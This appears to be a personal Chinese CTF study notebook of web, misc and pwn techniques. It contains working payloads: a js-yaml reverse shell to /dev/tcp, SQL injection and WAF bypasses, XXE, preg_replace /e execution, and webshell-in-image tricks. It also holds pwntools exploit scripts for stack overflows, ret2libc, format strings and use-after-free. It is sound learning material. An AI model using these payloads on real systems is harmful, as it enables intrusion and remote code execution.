Content-Length: 36

key=00f001523d0b955749ea5e3b0ca09b5f
  1. 在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。
  2. 题目给了提示,curl会跟踪302跳转,这个点主要用于参数长度或内容有限制的时候,可以通过302跳转来实现ssrf。例如,限制了url长度,那么可以在自己的vps或者靶机上,上传构造好的(Location: gopher://xxxxxxxx)跳转页面,然后直接访问跳转页面,即可实现ssrf。
  3. SVN是一个开放源代码的版本控制系统。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。 利用工具是https://github.com/kost/dvcs-ripper 可以利用.svn/entries文件,获取到服务器源码
  4. 文件上传系统,使用tar解压保留软链接的特性实现任意文件读取
     ln -s ../../filesystem/adminconfig.lock link
     tar cf link.tar link
1
2
3
4
5
上传后tar包将自动解压并保留原始的软链接,此时重新下载link文件即可获得adminconfig.lock
这题是用在有上传和下载功能,并且过滤了后缀名
133. 在旧版本的 js-yaml 中 load() 函数支持解析并执行 JavaScript 函数。通过构造特殊的 YAML 语法,可以让 js-yaml 在解析时执行任意的 JavaScript 代码。
- Yaml.load():将yaml数据反序列化成一个Java对象
- Yaml.dump():将Java对象序列化成yaml
1
2
3
4
{  
"password": "hArd_Pa@s5_wd",
"slogon": "---js\nprocess.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/<ip>/<port> 0>&1\"')\n---"
}
  1. 绕过字母waf可以使用url编码
  2. json长度限制可以用嵌套的键值对
1
'{"name": {"))))))) or 1=1 limit 1 offset 9-- +":"test"}}'
  1. 得到hex先反转再解密
  2. 已知  order by 、from  后面不可跟’1’,这属于语法错误,但是union select后面可以跟闭合语句,因此需要在最后加一个union select语句
1
0'union/**/select/**/1,2,group_concat(x)/**/from/**/(select/**/1/**/as/**/x/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/union/**/select/**/1,2,3/**/'1
  1. flask的题目中防止因为后续操作而崩溃
1
__import__('flask').current_app.view_functions[a]=lambda:""
  1. php可以执行命令的函数system,passthru(),exec(),pcntl_exec,shell_exec()函数,反引号`` ^item-1
  2. intval函数传入数组时,不关数组中的内容,只要是非空就返回1,转换小数不遵循四舍五入
1
2
3
4
5
6
1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
2)对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
3)当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
4)当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
5)当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
6)当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。

141.

1
2
3
4
preg_replace(string $pattern, string $replacement, string $subject)
- $pattern: 要搜索的正则表达式模式。
- $replacement: 用于替换的字符串。
- $subject: 要搜索和替换的原始字符串。

第一个参数后面可以添加一些修饰符,比如/i表示不区分大小写匹配,/e表示把第二个参数当作php代码来执行
GET:a=/test/e&b=system('cat /flag')&c="just test"
142. ngx.req.get_uri_args存在参数溢出漏洞,只要输入100个参数,在101个参数时,就无法对攻击者构造的参数进行安全检查
143.

1
2
Range: bytes=[start]-[end]
允许客户端指定需要获取的资源字节范围,实现断点续传和分块下载功能。

用来绕过输出限制
144. [!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]) 这种格式的代码放在f12的控制台中运行得到flag
145. sql注入如果测试出回显的字段不在最后一个 where和from条件要放在最后
1' UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database()#
146. 命令执行中如果封号被过滤,可以用?>绕过
147. moectf的xxe漏洞题payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ctf [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt">
]>
<输出>&xxe;</输出>

xxe 过滤file协议的时候要用其他的协议 比如这里的filter 最后输出要根据题目的回显确定标签,这里的<输出>

148. 当flag在php文件的时候,用lfi看不到源码,要尝试用其他协议
php://filter/read=convert.base64-encode/resource=flag.php
149. webshell有过滤的时候eval可以替换成@assert 然后用图片合成免杀马
copy /b image.jpg + shell.php webshell.jpg ^item-2
150. sql注入中两个注释# -- 都被过滤的时候,可以用组合的方式绕过-%23-
151. sql注入有用group_concat(convert(table_name using gbk)) 转换编码
152. 如果文件上传处的校验后缀是用strrchr函数,这个函数是获取最后一次出现某个字符及之后的内容。那可以用双后缀,比如1.php.jpg 再加00截断来绕过 ^ksd3
153. 文件包含题目 自动加上后缀的可以用data协议直接插入php代码执行 让后缀没用
154. 各种webshell 包括无字母数字等 无字母数字webshell总结
155. windows下找flag的命令: findstr /S /I /M "flag" C:\*
156. 删除后缀名可以用双写后缀绕过
157. flask-unsign
158. jwt格式有三段组成
159. 请求的数据 没有思路的时候可以试试改变请求方式成POST CIF web 2025 Mr.Chatbot
160. 有debug字样的网页可能存在命令注入 尝试用’ | 等闭合执行命令 bp 主动扫描
161. 在网页中的js 查看有没有什么api路由有多余的信息
162. ssti xxe等的python和java 的 payload http://gosecure.github.io
163. php中的intval 的第二个参数表示转换的禁止,如果是0表示自动识别 比如0开始是8进制 0x开头是16进制
164. 正则表达式的一些知识:
\d: 匹配任意数字
\s: 匹配任意空白字符 (包括空格、制表符、换行符等)。
165. 按钮被禁止,查看源代码 找到对应的禁止逻辑节点 然后删除节点
166. 修改UA头的格式是 xx/版本号
167. # LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
168. 在 Node.js 的 Express 框架中,解析 URL 参数有一个特性:如果同一个参数名出现了两次,它会变成一个数组。  called parameter type confusion
169. JavaScript 的 .includes() 方法字符串的 .includes():是做子字符串匹配 数组的 .includes():是做精确元素匹配。
170. ImageMagick 7.1.0-51 漏洞很多 CVE-2022-44268

MISC

1 压缩包的文件头是 50 4B 03 04
2 LSB题目用stegsolve工具 的data extract 选RGB 红绿蓝 0
stegsolve功能 : LSB隐写 单图异或 GIF分帧 双图分析
3 F5隐写工具 F5-stgeanography
4 宽高不对用010editor修改 分别对应第二行的1-4 和 5-8位 修改后面的三位 用misc下面cbc这个脚本找到正确的宽高 (正确的cbc由stegslove中的CBC)
5 SMTP (Simple Mail Transfer Protocol) 即简单邮件传输协议,是用于在邮件服务器之间发送和接收电子邮件的标准协议。通常在TCP端口25、465或587上
6 出现base64编码的前面是按顺序出现的字母表说明是换表base加密 如xyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 把这个cyberchef解密就可以。在这是示例中base64表还没有提供完整,要自己补充完整xyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/abcdefghijklmnopqrstuvw
7 有出现全角和半角字符可以考虑半角全角字符隐写,可以网站在这解密
8 如果都是空白可能是零宽度字符隐写 可以在https://darkside.com.au/snow/解密
9 wireshark中 要过滤流 tcp and !(tcp contains "fake") 追踪流之后,可以在右下角选择不同的流
10 图片隐写问题一般思路

1
2
3
4
5
6
7
**1. 查看图片的属性是否藏了东西,一定要使用能够查看exif信息的工具,PNG格式的话使用TweakPNG等工具判断是否存在PNG宽高隐写**  
**2. 使用010 Editor、strings等工具发现插入隐藏信息**
**3. 使用StegSolve、zsteg等工具发现隐写隐藏信息**
**4. 使用binwalk、foremost等工具提取隐藏信息**
**5. 使用steghide、盲水印提取等工具提取特定工具隐藏信息,如果有提示最好,没有提示只能一个个尝试了,注意jpeg和png等不同格式的图片文件使用的工具也不一样**
**jpeg:steghide——outguess——**
**png:zsteg——cloacked-pixel——BlindWaterMark-master——kindred-adds/BlindWaterMarkplus**

11 sstv 用rxsstv工具 并且要用vac来虚拟声卡rxsstv
12 音频分析用audasity之后得到一个声道的morse密码 短的代表.长一点是-间隔是/

13 在流量分析找到图片的题目中找到图片所在的瘤然后打开Portable Network Graphics 右键显示分组字节 就能看到图片

这题还用了我的世界中的标准银河字母 dcode
14 有关png数据块的问题用到pngcheck分析出不正常的数据块后,用python中的zlib解压

1
2
3
4
5
6
7
8
9
import zlib

import binascii

IDAT = binascii.unhexlify("789CCBCD4F4D2E49ABCE30744971CD8B0F3089CCF14F7489F7F4D3F54C3109A90500A8D00A5F")

result = binascii.hexlify(zlib.decompress(IDAT))

print(result)

这里png一个idat块4位大小 4位类型 用这个脚本的时候只要复制里面的数据
|500
15 “锟斤拷” 的成因是 Unicode 的替换字符(Replacement Character,�)于 UTF-8 编码下的结果 EF BF BD 重复,在 GBK 编码中被解释为汉字 “锟斤拷”(EF BF BD EF BF BD)。

先用gbk编码 再用utf-8解释

PWN

栈基础

|500
栈和栈帧示意图
bss段 保存未初始化的全局变量和局部静态变量 data保存已初始化的…… Text保存可执行的机器代码
32位通过栈来传参,跳过4个字节 64位通过寄存器和栈来传参,顺序是 rdi rsi rdx rcx r8 r9 栈
ebp是栈底指针 esp是栈顶指针
字节序分为大端序和小端序

缓冲区溢出在栈上,就叫栈溢出 把ebp占用一部分,直到return的地址

ROP

ret2text

通过栈溢出,控制返回的地址,控制程序的执行流
例题

1
2
3
4
5
6
7
8
9
int dog()
{
char s; // [esp+Fh] [ebp-9h]

puts("Hungry!!!");
puts("This puppy needs to eat a few bones?");
gets(&s);
return puts("Woof!!!");
}

因为有gets函数,所以有栈溢出,把栈的9个字节填满再填满ebp就是返回的地址
然后发现有一个getshell的函数 找到这个函数地址,作为返回的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

io = process('./woof')

padding = 13 


get_shell_addr = 0x0804859b

payload = b'a' * padding + p32(get_shell_addr)

io.sendline(payload)

io.interactive()

ret2text

原理,当代码中没有刚才那种可以获取权限的后门函数 只有一个system函数在其他地方有”/bin/sh” 把他们拼接一下就可以得到shell
例题2

1
2
3
4
5
6
ssize_t function(void)
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}

告诉我们举例栈底80字节 然后找到system的地址和binbash的地址 要把这两个拼在一起
因为这个是64位的程序需要寄存器来传参,所以用ROPgedget来找pop和ret相关的 找到rdi的地址
在这里ret是从栈中弹出 地址,所以我们传入payload的顺序是rdi地址,binbash地址 最后是system函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = process('./x64')

padding = 0x80 + 8

system_addr = 0x400560

binsh_addr = 0x601060

rdi_addr = 0x00000000004007e3

payload = b'a' * padding + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr)

io.sendline(payload)
io.interactive()

ret2shellcode

shellcode是用户完成某种功能的汇编代码,常见功能就是获取目标的shell

先用垃圾数据填充栈,然后在bss段写入shellcode,最后在返回的地址写上shellcode的地址
例题 Easy_Shellcode

1
2
3
4
5
6
7
8
9
10
ssize_t Start()
{
_BYTE buf[104]; // [esp+0h] [ebp-68h] BYREF

init();
write(1, "Please Input:\n", 0xEu);
read(0, &str, 0x100u);
puts("What,s your name ?:");
return read(0, buf, 0x100u);
}

第一次输入到bss段 第二次输出到buf里面,存在栈溢出
所以把shellcode放在bss然后通过栈溢出来执行这个地址的内容

栈上的shellcode

前提是nx(栈不可执行)保护关闭,程序会把栈的地址输出,接受程序输出的栈地址,然后想栈中输入shellcode
用栈溢出去访问shellcode的地址然后得到shell
例题 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [rsp+0h] [rbp-70h]
__int16 v5; // [rsp+2h] [rbp-6Eh]
int v6; // [rsp+4h] [rbp-6Ch]
__int64 v7; // [rsp+8h] [rbp-68h]
int v8; // [rsp+60h] [rbp-10h]
int v9; // [rsp+64h] [rbp-Ch]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v4 = 0;
v5 = 0;
v6 = 0;
memset(&v7, 0, 0x58uLL);
v8 = 0;
printf("%p\n", &v4, &v9, 0LL);
gets(&v4);
return 0;
}

通过v4传递shellcode 然后通过栈溢出,再访问到v4的地址 v4地址从输出得到 用recvline就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#io = process('./pwn2')
io = remote('1.95.36.136', 2148)

padding = 0x70 + 8

v4_addr = int(io.recvline()[:-1],16)

context.update(os = 'linux' , arch = 'amd64')
shellcode = asm(shellcraft.amd64.sh())
payload = shellcode.ljust(padding,b'a') + p64(v4_addr)

io.sendline(payload)

io.interactive()

ret2libc

got表和plt表

1. GOT 表(全局偏移表)
  • GOT 存储了动态链接库函数的真实地址。
  • 程序在调用动态库函数时,先通过 GOT 找到真正的地址。
  • 在程序加载时,GOT 表的条目最开始存的不是函数的真实地址,而是指向 PLT 中的代码,等函数真正被调用时,动态链接器会填充 GOT 表,使其指向正确的函数地址。
2. PLT 表(过程链接表)
  • PLT 负责间接调用动态链接的函数,主要用于延迟绑定(Lazy Binding)。
  • 当程序第一次调用动态库函数时,PLT 会先跳转到一个解析器(动态链接器),然后填充 GOT 表,并把真正的函数地址存进去。
  • 之后的调用就会直接通过 GOT 表找到真实的函数地址,提高效率。
总结
  • GOT:存储动态链接库函数的真实地址
  • PLT:在函数第一次调用时,负责解析地址并填充 GOT

实操


x32 payload结构 需要payload构造栈结构来泄漏地址和拼shell
例题:Game

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+Ch] [ebp-Ch]

buf = 0;
init();
puts("Do you play game?");
read(0, &buf, 3u);
getchar();
if ( !strcmp((const char *)&buf, b) )
function();
else
printf("Okay, excuse me.");
return 0;
}

int function()
{
int result; // eax
char buf; // [esp+Ch] [ebp-6Ch]

memset(&buf, 0, 0x64u);
puts("Do you think playing games will affect your learning?");
read(0, &buf, 3u);
getchar();
if ( !strcmp(&buf, b) )
result = star();
else
result = puts("Thank you very much.");
return result;
}
int star()
{
char s; // [esp+Ch] [ebp-6Ch]

memset(&s, 0, 0x64u);
puts("I think the same as you!");
gets(&s);
return puts(&s);
}

b的内容是yes
用gdb开始调试,然后在main断点,根据代码,然后输入yes,yes, 在start函数里面有gets函数,用200个字符让栈炸
找到非法地址Invalid address 0x64413764

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
#io = process('./Game')
io = remote('1.95.36.136', 2137)

elf = ELF('Game')

puts_plt = elf.plt['puts'] # 找到puts的plt
puts_got = elf.got['puts'] 
print(hex(puts_got)) # 0x804a020
star_addr = 0x080485F4

payload = 112*b'a' + p32(puts_plt) + p32(star_addr) + p32(puts_got)

padding = 112

io.sendlineafter(b'play game?\n',b'yes')
io.sendlineafter(b'your learning?\n',b'yes')
io.sendlineafter(b'as you!\n',payload)

io.recvline()

puts_real = u32(io.recv(4))
print("real:" + hex(puts_real))

libc = ELF('./libc.so')

libc_base = puts_real - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload1 = b'a' * padding + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)

io.sendline(payload1)
io.interactive()

这里要先打印出puts的实际地址,变成16位取后面的三位,然后取libcdata中找到对应的so下载下来,然后用这个库执行
在32位程序中,这里先用plt + 返回地址 + got(参数 因为32位用栈传参
但是64位中 先要获取rdi地址,然后用参数 + plt(函数 + 返回地址
64位例题: sleep

1
2
3
4
5
6
7
8
9
__int64 fun()
{
char v1; // [rsp+0h] [rbp-70h]

printf("Do you often stay up late ???");
puts("Please cherish every second of sleeping time !!!");
gets(&v1);
return 0LL;
}

没有system函数,没有binsh的字段,由于还是动态链接,所以先用gets函数栈溢出,获取puts的真实地址,然后引入system和binsh
用cyclic 生成200个长度字符串搞炸之后,找到rbp的地址 然后用cyclic -l 这个地址(取后8位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

io = remote('1.95.36.136', 2065)

libc = ELF('./lic.so')
elf = ELF('sleep')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4006F6

padding = 112 + 8

rdi_pop_addr = 0x400783

payload = b'a' * padding + p64(rdi_pop_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

io.sendline(payload)

io.recvline()
puts_real = u64(io.recvline()[:-1].ljust(8,b'\x00'))
#print(puts_real)

libc_base = puts_real - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload1 = b'a' * padding + p64(rdi_pop_addr) + p64(binsh_addr) + p64(system_addr) + p64(0xdeadbeef)

io.sendline(payload1)
io.interactive()

总的思路和上题不一样,区别是这里的返回地址是main函数,然后这里的传入payload的顺序是rdi + 参数 + 函数 + 返回地址

ret2syscall

在 Linux 及其他类 Unix 系统中,程序通常使用 库函数(如 execve) 调用系统调用,而底层实际上是通过 syscall 指令完成的。
系统调用是操作系统提供给应用程序的一个接口 x86用int 0x80进行系统调用 amd64 用 syscall进行系统调用
execve函数执行的汇编函数

1
2
3
4
5
6
mov eax,0xb
mov ebx,["/bin/sh"]
mov ecx,0
mov edx,0
int 0x80
=> execve("/bin/sh",NULL,NULL)

返回导向编程 ROP

ROP 主要依赖可执行文件或库中的指令片段,这些片段通常以 ret 结尾,称为 ROP Gadgets,攻击者可以通过控制栈上的返回地址,让程序执行一系列精心构造的 Gadgets,从而实现任意代码执行。一般用于绕过DEP等安全保护‘

🚀 ROP 执行流程

  1. 找到可以控制栈的漏洞(如缓冲区溢出)。
  2. 覆盖返回地址,指向 ROP Gadgets。
  3. 构造 ROP 链,让程序执行攻击者希望的操作(如 execve("/bin/sh"))。
  4. 程序按照 ROP 链执行,完成攻击。

🔹 ret2syscall 的常见应用场景

  1. 没有 libc 的环境(比如 seccomp 限制或者 libc 没有泄露)
  2. 程序开启了 PIE,但我们可以控制寄存器
  3. 无法使用 ret2libc 技术(例如不能调用 system())
  4. ROP 链控制寄存器,使 syscall 执行关键的系统调用
    例题
1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

栈不可执行,也不能用ret2shellcode
用ida打开发现没有system函数 但是存在binsh
用ROPgadget 找到 eax edx ecx ebx的地址 还有 int0x80的地址
用gdb找到栈溢出的偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = process('./ret2syscall')

binsh_addr = 0x080be408
int_addr = 0x08049421
eax_addr =  0x080bb196
edx_ecx_ebx_addr = 0x0806eb90 

padding = 112

payload = b'a' * padding + p32(eax_addr) + p32(0xb) + p32(edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)

io.sendline(payload)

io.interactive()

格式化字符串漏洞fmt

是什么

格式化字符串漏洞(Format String Vulnerability)是一种由于 不安全使用格式化函数(如 printf()、sprintf()、snprintf()、fprintf() 等)导致的漏洞。它允许攻击者 读写任意内存地址,甚至劫持程序控制流。
程序没有对这些占位符做验证出 一般的printf有一个参数,但是如果没有这个参数,还是会打印出一个值
|500
这里没有提供参数的时候,它仍然以为调用它的父函数会按照约定将需要的参数全部压入栈中。因此,当printf希望访问第二个参数时,它仍然傻乎乎地认为首地址为ebp + 3 * sizeof(word)的字是第二个参数。这时,它输出的数据就是栈上的其他数据。

作用

  • 使程序崩溃
    只有输入若干个%s就可以 不可能每个值都对应了合法的地址
  • 查看栈内容
    依据C语言函数调用栈的规则,printf会默认:首地址为ebp + (2 + n) * sizeof(word)的字是第n个格式化参数。 (32位就是ebp + 4)
    那如果想获取首地址为ebp + 102 * sizeof(word)的字的值,是否意味着我们需要在字符串中写上100个占位符呢?这当然是不必要的。我们可以使用100$作为标记,告诉printf此处的占位符需要的参数是第100个格式化参数。如%100$d、%100$c、%100$p等。
  • 查看任意地址内存
    要想获取任意地址的数据,我们需要先在栈上写入目标地址(有许多方法可以达到这一目的,需要根据题目的条件决定),随后将其作为%s的参数传入。这时,我们就能获取目标地址的数据。
  • 写任意数据
    利用%n

用%n$d 就可以打印n个整数
%n 是将当前已输出的字符数,写入到指定的内存地址。

1
2
3
4
5
6
7
8
#include <stdio.h>

int main() {
int count = 0;
printf("Hello, world!%n\n", &count);
printf("Printed characters: %d\n", count); //13
return 0;
}

综合例题 fmt + libc + overflow
一共有三个函数,要先用格式化字符串漏洞泄漏出cannary 然后用libc得到bash函数 最后用overflow执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
//fmt
unsigned __int64 format()
{
__int64 buf; // [rsp+0h] [rbp-30h]
__int64 v2; // [rsp+8h] [rbp-28h]
__int64 v3; // [rsp+10h] [rbp-20h]
__int64 v4; // [rsp+18h] [rbp-18h]
__int64 v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
buf = 0LL;
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
read(0, &buf, 0x28uLL);
printf((const char *)&buf, &buf);
return __readfsqword(0x28u) ^ v6;
}

//leaklibc
unsigned __int64 leaklibc()
{
int v0; // eax
__int64 buf; // [rsp+0h] [rbp-30h]
__int64 v3; // [rsp+8h] [rbp-28h]
__int64 v4; // [rsp+10h] [rbp-20h]
int v5; // [rsp+18h] [rbp-18h]
__int16 v6; // [rsp+1Ch] [rbp-14h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
buf = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0;
v6 = 0;
read(0, &buf, 0x1EuLL);
v0 = atoi((const char *)&buf);
puts((const char *)v0);
return __readfsqword(0x28u) ^ v7;
}

//overflow
unsigned __int64 overflow()
{
__int64 buf; // [rsp+0h] [rbp-30h]
__int64 v2; // [rsp+8h] [rbp-28h]
__int64 v3; // [rsp+10h] [rbp-20h]
__int64 v4; // [rsp+18h] [rbp-18h]
__int64 v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
buf = 0LL;
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
read(0, &buf, 0x50uLL);
return __readfsqword(0x28u) ^ v6;
}

断点设在read 然后查看栈 发现在rbp - 8的地方是在栈的第五个,因为是64位程序,所以要泄漏的地址在第11位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

io = remote("1.95.36.136", 2146)
elf = ELF("./pwn2")
io.recvuntil("go!\n")

io.recv()
### fmt
io.sendline(b'1')
#找到cannary地址
### read 断点400810
io.sendline(b"%11$p")
io.recvuntil(b"0x")
cannary = int(io.recv(16),16)

#leaklib

io.recvline()
io.sendline(b'2')
io.recv()
put_got = elf.got['puts']
io.sendline(str(put_got))
put_got = io.recvline()[:-1].ljust(8,b"\x00")
put_got = u64(put_got)
#print(hex(put_got))   0x7f529d1806a0

#overflow
base = put_got - 0x06f6a0
system = base + 0x0453a0
bash = base + 0x18ce57
rdi_pop_addr = 0x400a93

io.recvline()
io.sendline(b'3')
io.recv()

payload = b'a' * (0x30-8) + p64(cannary) + b'a' * 8

payload += p64(rdi_pop_addr) + p64(bash) + p64(system) + p64(0xdeadbeef)

io.sendline(payload)

io.interactive()

在不同的函数之间要用recvline() 和一个recv() 来把题目的消息接受掉 最后的overflow要拼接一个cannary leaklibc传入的参数要用str转换 最后payload要用p64 64位 顺序是参数 函数 返回地址 32位 函数 返回地址 参数

堆基础

如果把栈比做一个袋子,那么堆可以比作绳子, 用户申请一段 然后归还free
linux的进程虚拟地址空间
|475
|450
chunk是管理内存的单位
根据是否被使用可以分为两类
|475
prev_size 如果物理相邻的chunk是free的就表示它的大小 否则存钱一个chunk的数据
size 表示当前chunk的大小,包括chunk头
P flag 记录前一个chunk是否被分配 如果被分配就是1 如果free的就是0
fd pointer 在bin中指向下一个空闲的chunk
64位程序任何一个块大小都是0x10的倍数(最小的块是0x10) prev_size + user data两个字段
size的最后3位是0 所以最后一位是标志位
所以申请一个大小为x的堆块 真正申请到的大小为 x +0x80 并且进行0x10对齐后的大小 比如申请0x10 0x10 + 0x8 = 0x18 对齐 0x20
|475
为了快速分配 Glibc采用了多链表的方式管理堆 有很多bin
bin和内存回收相关 根据用户已经申请到的内存空间进行释放 来决定放到哪类bin去
分为4类 fast bin small bin large bin unsorted bin fastbin是单向链表 其他是双向‘
fastbin
在32位下 大小在16-64字节 <=0x80 不会堆free chunk进行合并
|500
malloc会依次实现不同的分配方法 当所有空闲的chunk都无法满足的时候 会考虑top chunk
free 将用户暂时不用的chunk回收给堆管理器 根据chunk大小来有限试图将free chunk 链入tcache或者fastbin 不满足链入unsorted bin
fastbin 0x20(32字节)至0x80(128字节) 共10个bin
smallbin 0x20(32字节)至0x3f0(1008字节)最大chunk的size字段为0x3f0(用户实际可用大小0x3e0,包含元数据后总大小为0x3f0)
largebin 0x400(1024字节)及以上可能触发堆扩展(brk或mmap),常见于大内存分配场景
unsortedbin 临时缓存释放的chunk,无固定大小限制。- 接收所有非fast bin释放的chunk,包括small和large范围的chunk。
Tcachebin 0x20(32字节)至0x410(1040字节),每个线程独立缓存。
Chunk的size字段:用户申请0x20字节,实际chunk大小为0x30(用户数据0x20 + 头尾元数据0x10)

UAF

free之后没有清空指针
例题: heap_Easy_Uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init();
while ( 1 )
{
Menu();
choice = 0;
puts("Please Choice!");
__isoc99_scanf("%d", &choice);
switch ( choice )
{
case 1:
Add_Emo();
break;
case 2:
Del_Emo();
break;
case 3:
Edit_Emo();
break;
case 4:
Pri_Emo();
break;
case 5:
Are();
break;
default:
return 0;
}
}
}

菜单题
最后是在are函数中得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl Are()
{
int result; // eax
int size; // [rsp+4h] [rbp-1Ch] BYREF
char *a; // [rsp+8h] [rbp-18h]
char *b; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
a = (char *)malloc(0x68uLL);
strcpy(a, "Flag");
free(a);
size = 0;
puts("Please Input Chunk size :");
__isoc99_scanf("%d", &size);
getchar();
b = (char *)malloc(size);
puts("Please Input Content : ");
gets(b);
result = strncmp(a, "Flag", 4uLL);
if ( !result )
return system("/bin/sh");
return result;
}

如果a的值是Flag就返回sh 这里a一开始就申请了内存 并且给a赋值了Flag 但是free之后没有置空 释放后在fastbin里面,如果再申请一个0x68大小的chunk就可以把a申请回来,这时候再写入数据就可以修改a的值
exp:

1
2
3
4
5
6
7
8
9
from pwn import *

io = remote("1.95.36.136", 2082)

io.sendlineafter(b"Choice!\n",b'5')
io.sendlineafter(b"size :\n",b"104")
io.sendlineafter(b"Content : \n",b"Flag")

io.interactive()

heap double free

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // ebx
int Choice; // [rsp+4h] [rbp-7Ch] BYREF
int ID; // [rsp+8h] [rbp-78h] BYREF
int size; // [rsp+Ch] [rbp-74h] BYREF
char *ptr[10]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v8; // [rsp+68h] [rbp-18h]

v8 = __readfsqword(0x28u);
init();
globals1[0] = 0;
globals1[2] = 113;
memset(ptr, 0, sizeof(ptr));
while ( 1 )
{
while ( 1 )
{
Menu();
printf("root@ubuntu:~/Desktop$ ");
__isoc99_scanf("%d", &Choice);
ID %= 10;
if ( Choice != 1 )
break;
puts("please input id and size :");
__isoc99_scanf("%d", &ID);
__isoc99_scanf("%d%*c", &size);
v3 = ID;
ptr[v3] = (char *)malloc(size);
puts("please input contet:");
gets(ptr[ID]);
}
if ( Choice == 2 )
{
puts("please input id :");
__isoc99_scanf("%d", &ID);
free(ptr[ID]);
}
else if ( Choice == 3 )
{
puts("please input id :");
__isoc99_scanf("%d", &ID);
puts(ptr[ID]);
}
else
{
if ( globals1[4] != 257 )
{
printf("exit!");
exit(0);
}
puts("your are got it!");
system("/bin/sh");
}
}
}

还是一个菜单选项,第一个选项就是分配一个chunk,然后向里面写入数据,第二选项释放chunk 第三个打印,最后退出
先把这些功能封装一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

